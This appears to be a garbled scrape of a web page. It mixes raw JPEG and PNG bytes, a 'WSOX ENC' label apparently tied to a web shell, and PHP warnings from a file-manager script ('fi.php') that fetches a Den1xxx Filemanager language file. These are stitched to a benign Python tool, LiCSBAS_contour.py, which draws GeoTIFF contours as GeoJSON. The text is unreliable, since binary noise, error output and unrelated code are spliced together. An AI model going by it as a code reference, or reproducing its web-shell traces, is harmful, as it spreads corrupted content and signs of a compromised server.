1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
#!/usr/bin/env python3 """ v1.1 20210226 Yu Morishita, GSI ======== Overview ======== This script draws contours from a GeoTIFF file and output a GeoJSON file (with GSI Maps style). ===== Usage ===== LiCSBAS_contour.py -i geotiff -c cont_int [-q cut_nodes] [-o contfile] [-a attrib] [-s smoothing_length] [--nodata float] [--no_zero] [--color_n colorcode] [--color_p colorcode] [--color_0 colorcode] [--width float] [--opacity float] -i Input GeoTIFF file -c Contour interval -q Do not draw contours with less nodes than this number (Default: 10) -o Output contour GeoJSON file (Default: [geotiff%.tif].cont.geojson) -a Name for the attribute (good to include unit) (Default: geotiff file name) -s Smoothing length in km (Default: 0; no smoothing) Note that the shapely module must be installed to use this option. --nodata Nodata value (Default: nan) --no_zero Do not draw contours with 0 --color_0 Color code of contours with 0 values (Default: #000000 (black)) --color_n Color code of contours with negative values. (Default: #0000ff (blue)) --color_p Color code of contours with positive values. (Default: #ff0000 (red)) --width Width of contour lines (Default: 2) --opacity Opacity of contour lines (Default: 0.5) Note: - color_[n|p|0], width and opacity have an effect in GSI Maps, not in QGIS. - Rocommend reducing n_node to < 10000 by -q and -s options for GSIMaps. """ #%% Change log ''' v1.1 20210226 Yu Morishita, GSI - Add -s option - Change default color v1.0 20200408 Yu Morishita, GSI - Original implementationf ''' #%% Import import getopt import os import sys import time import json import numpy as np import subprocess as subp class Usage(Exception): """Usage context manager""" def __init__(self, msg): self.msg = msg #%% Main def main(argv=None): #%% Check argv if argv == None: argv = sys.argv start = time.time() ver=1.1; date=20210226; author="Y. Morishita" print("\n{} ver{} {} {}".format(os.path.basename(argv[0]), ver, date, author), flush=True) print("{} {}".format(os.path.basename(argv[0]), ' '.join(argv[1:])), flush=True) #%% Set default infile = [] cint = [] node_thre = 10 outfile = [] attrib = [] slen_km = 0 nodata = np.nan no_zero_flag = False color_n = '#0000ff' color_p = '#ff0000' color_0 = '#000000' opacity = 0.5 width = 2 #%% Read options try: try: opts, args = getopt.getopt(argv[1:], "hi:o:c:q:a:s:", ["help", "nodata=", "no_zero", "color_n=", "color_p=", "color_0=", "opacity=", "width="]) except getopt.error as msg: raise Usage(msg) for o, a in opts: if o == '-h' or o == '--help': print(__doc__) return 0 elif o == '-i': infile = a elif o == '-c': cint = float(a) elif o == '-o': outfile = a elif o == '-q': node_thre = int(a) elif o == '-a': attrib = a elif o == '-s': slen_km = float(a) elif o == '--nodata': nodata = float(a) elif o == '--no_zero': no_zero_flag = True elif o == '--color_n': color_n = a elif o == '--color_p': color_p = a elif o == '--color_0': color_0 = a elif o == '--opacity': opacity = float(a) elif o == '--width': width = float(a) if not infile: raise Usage('No input file given, -i is not optional!') elif not os.path.exists(infile): raise Usage('No {} exists!'.format(infile)) if not cint: raise Usage('No cont_int given, -c is not optional!') except Usage as err: print("\nERROR:", file=sys.stderr, end='') print(" "+str(err.msg), file=sys.stderr) print("\nFor help, use -h or --help.\n", file=sys.stderr) return 2 #%% Read info if not outfile: outfile = infile.replace('.tif', '.cont.geojson') if not attrib: attrib = infile if slen_km != 0: try: from shapely.geometry import LineString slen_deg = slen_km*360/40000 #approx print("\nSmoothing by ~{} km".format(slen_km)) except ModuleNotFoundError: print("\nWarning: No module named 'shapely' found") print(" -s option needs shapely module.") print(" If you want to use -s, install shapely.") print(" Deactivate -s option.\n") slen_km = 0 #%% Make contour geojson call = ["gdal_contour", "-snodata", str(nodata), "-a", attrib, "-i", str(cint), "-f", "GeoJSON", infile, outfile ] p = subp.Popen(call, stdout = subp.PIPE, stderr = subp.STDOUT) for line in iter(p.stdout.readline, b''): print(line.rstrip().decode("utf8")) #%% Read json with open(outfile, 'r') as f: json_dict = json.load(f) features_list = json_dict['features'] ## list n_feature_in = len(features_list) n_node_in = np.array([len(feature['geometry']['coordinates']) for feature in features_list]).sum() #%% Prepare output features_out_list = [] for feature in features_list: ## Remove zero line if no_zero if no_zero_flag and feature['properties'][attrib] == 0: continue ## Smoothing if slen_km != 0: line = LineString([tuple(this) for this in feature['geometry']['coordinates']]) line2 = line.simplify(slen_deg) feature['geometry']['coordinates'] = \ [list(i) for i in list(line2.coords)] ## Remove lines with small n_node n_node = len(feature['geometry']['coordinates']) if n_node <= node_thre: continue ## Remove ID del feature['properties']['ID'] ## Add color if feature['properties'][attrib] == 0: feature['properties']['_color'] = color_0 elif feature['properties'][attrib] > 0: feature['properties']['_color'] = color_p else: feature['properties']['_color'] = color_n ## Set opacity and weight feature['properties']['_opacity'] = opacity feature['properties']['_weight'] = width features_out_list.append(feature) #%% Output json n_feature_out = len(features_out_list) n_node_out = np.array([len(feature['geometry']['coordinates']) for feature in features_out_list]).sum() print('\nNumber of features: {} -> {}'.format(n_feature_in, n_feature_out)) print('Number of nodes: {} -> {}'.format(n_node_in, n_node_out)) if n_feature_out == 0: print('No features remain, not output {}\n'.format(outfile)) os.remove(outfile) else: jsonout_dict = {'type':json_dict['type'], 'features':features_out_list} with open(outfile, 'w') as f: json.dump(jsonout_dict, f, indent=None) #%% Finish elapsed_time = time.time()-start hour = int(elapsed_time/3600) minite = int(np.mod((elapsed_time/60),60)) sec = int(np.mod(elapsed_time,60)) print("\nElapsed time: {0:02}h {1:02}m {2:02}s".format(hour,minite,sec)) print('\n{} Successfully finished!!\n'.format(os.path.basename(argv[0]))) print('Output: {}\n'.format(outfile), flush=True) #%% main if __name__ == "__main__": sys.exit(main())